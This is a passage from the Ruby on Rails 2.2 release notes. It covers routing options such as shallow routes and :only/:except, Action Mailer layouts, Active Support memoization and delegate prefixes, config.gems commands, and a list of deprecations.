publisher.resources :magazines do |magazine|
magazine.resources :photos
end
end

map.resources :publishers, :shallow => true do |publisher| publisher.resources :magazines do |magazine| magazine.resources :photos end end Copiar

This will enable recognition of (among others) these routes:

/publishers/1           ==> publisher_path(1)
/publishers/1/magazines ==> publisher_magazines_path(1)
/magazines/2            ==> magazine_path(2)
/magazines/2/photos     ==> magazines_photos_path(2)
/photos/3               ==> photo_path(3)

/publishers/1 ==> publisher_path(1) /publishers/1/magazines ==> publisher_magazines_path(1) /magazines/2 ==> magazine_path(2) /magazines/2/photos ==> magazines_photos_path(2) /photos/3 ==> photo_path(3) Copiar

- Lead Contributor: S. Brent Faulkner

- More information:

- Rails Routing from the Outside In

- What's New in Edge Rails: Shallow Routes

6.2 Method Arrays for Member or Collection Routes

You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:

map.resources :photos, :collection => { :search => [:get, :post] }

map.resources :photos, :collection => { :search => [:get, :post] } Copiar

- Lead Contributor: Brennan Dunn

6.3 Resources With Specific Actions

By default, when you use map.resources to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the :only and :except options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special :all or :none options. These options are inherited by nested resources.

map.resources :photos, :only => [:index, :show]
map.resources :products, :except => :destroy

map.resources :photos, :only => [:index, :show] map.resources :products, :except => :destroy Copiar

- Lead Contributor: Tom Stuart

6.4 Other Action Controller Changes

- You can now easily show a custom error page for exceptions raised while routing a request.

- The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as /customers/1.xml) to indicate the format that you want. If you need the Accept headers, you can turn them back on with config.action_controller.use_accept_header = true.

- Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds

- Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.

- redirect_to now fully supports URI schemes (so, for example, you can redirect to a svn`ssh: URI).

- render now supports a :js option to render plain vanilla JavaScript with the right mime type.

- Request forgery protection has been tightened up to apply to HTML-formatted content requests only.

- Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling polymorphic_path([@project, @date, @area]) with a nil date will give you project_area_path.

7 Action View

- javascript_include_tag and stylesheet_link_tag support a new :recursive option to be used along with :all, so that you can load an entire tree of files with a single line of code.

- The included Prototype JavaScript library has been upgraded to version 1.6.0.3.

- RJS#page.reload to reload the browser's current location via JavaScript

- The atom_feed helper now takes an :instruct option to let you insert XML processing instructions.

8 Action Mailer

Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the CustomerMailer class expects to use layouts/customer_mailer.html.erb.

- More information:

- What's New in Edge Rails: Mailer Layouts

Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.

9 Active Support

Active Support now offers built-in memoization for Rails applications, the each_with_object method, prefix support on delegates, and various other new utility methods.

9.1 Memoization

Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:

def full_name
@full_name ||= "#{first_name} #{last_name}"
end

def full_name @full_name ||= "#{first_name} #{last_name}" end Copiar

Memoization lets you handle this task in a declarative fashion:

extend ActiveSupport::Memoizable

def full_name
"#{first_name} #{last_name}"
end
memoize :full_name

extend ActiveSupport::Memoizable def full_name "#{first_name} #{last_name}" end memoize :full_name Copiar

Other features of memoization include unmemoize, unmemoize_all, and memoize_all to turn memoization on or off.

- Lead Contributor: Josh Peek

- More information:

- What's New in Edge Rails: Easy Memoization

- Memo-what? A Guide to Memoization

9.2 each_with_object

The each_with_object method provides an alternative to inject, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.

%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } # => {'foo' => 'FOO', 'bar' => 'BAR'}

%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } # => {'foo' => 'FOO', 'bar' => 'BAR'} Copiar

Lead Contributor: Adam Keys

9.3 Delegates With Prefixes

If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:

class Vendor < ActiveRecord::Base
has_one :account
delegate :email, :password, :to => :account, :prefix => true
end

class Vendor < ActiveRecord::Base has_one :account delegate :email, :password, :to => :account, :prefix => true end Copiar

This will produce delegated methods vendor#account_email and vendor#account_password. You can also specify a custom prefix:

class Vendor < ActiveRecord::Base
has_one :account
delegate :email, :password, :to => :account, :prefix => :owner
end

class Vendor < ActiveRecord::Base has_one :account delegate :email, :password, :to => :account, :prefix => :owner end Copiar

This will produce delegated methods vendor#owner_email and vendor#owner_password.

Lead Contributor: Daniel Schierbeck

9.4 Other Active Support Changes

- Extensive updates to ActiveSupport::Multibyte, including Ruby 1.9 compatibility fixes.

- The addition of ActiveSupport::Rescuable allows any class to mix in the rescue_from syntax.

- past?, today? and future? for Date and Time classes to facilitate date/time comparisons.

- Array#second through Array#fifth as aliases for Array#[1] through Array#[4]

- Enumerable#many? to encapsulate collection.size > 1

- Inflector#parameterize produces a URL-ready version of its input, for use in to_param.

- Time#advance recognizes fractional days and weeks, so you can do 1.7.weeks.ago, 1.5.hours.since, and so on.

- The included TzInfo library has been upgraded to version 0.3.12.

- ActiveSupport::StringInquirer gives you a pretty way to test for equality in strings: ActiveSupport::StringInquirer.new("abc").abc? => true

10 Railties

In Railties (the core code of Rails itself) the biggest changes are in the config.gems mechanism.

10.1 config.gems

To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in /vendor/gems. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:

- config.gem _gem_name_ in your config/environment.rb file

- rake gems to list all configured gems, as well as whether they (and their dependencies) are installed, frozen, or framework (framework gems are those loaded by Rails before the gem dependency code is executed; such gems cannot be frozen)

- rake gems:install to install missing gems to the computer

- rake gems:unpack to place a copy of the required gems into /vendor/gems

- rake gems:unpack:dependencies to get copies of the required gems and their dependencies into /vendor/gems

- rake gems:build to build any missing native extensions

- rake gems:refresh_specs to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them

You can unpack or install a single gem by specifying GEM=_gem_name_ on the command line.

- Lead Contributor: Matt Jones

- More information:

- What's New in Edge Rails: Gem Dependencies

- Rails 2.1.2 and 2.2RC1: Update Your RubyGems

- Detailed discussion on Lighthouse

10.2 Other Railties Changes

- If you're a fan of the Thin web server, you'll be happy to know that script/server now supports Thin directly.

- script/plugin install &lt;plugin&gt; -r &lt;revision&gt; now works with git-based as well as svn-based plugins.

- script/console now supports a --debugger option

- Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source

- rake notes:custom ANNOTATION=MYFLAG lets you list out custom annotations.

- Wrapped Rails.env in StringInquirer so you can do Rails.env.development?

- To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.

11 Deprecated

A few pieces of older code are deprecated in this release:

- Rails::SecretKeyGenerator has been replaced by ActiveSupport::SecureRandom

- render_component is deprecated. There's a render_components plugin available if you need this functionality.

- Implicit local assignments when rendering partials has been deprecated.

def partial_with_implicit_local_assignment
@customer = Customer.new("Marcel")
render :partial => "customer"
end

def partial_with_implicit_local_assignment @customer = Customer.new("Marcel") render :partial => "customer" end Copiar
Previously the above code made available a local variable called customer inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now.

- country_select has been removed. See the deprecation page for more information and a plugin replacement.

- ActiveRecord::Base.allow_concurrency no longer has any effect.

- ActiveRecord::Errors.default_error_messages has been deprecated in favor of I18n.translate('activerecord.errors.messages')

- The %s and %d interpolation syntax for internationalization is deprecated.

- String#chars has been deprecated in favor of String#mb_chars.

- Durations of fractional months or fractional years are deprecated. Use Ruby's core Date and Time class arithmetic instead.

- Request#relative_url_root is deprecated. Use ActionController::Base.relative_url_root instead.

12 Credits

Release notes compiled by Mike Gunderloy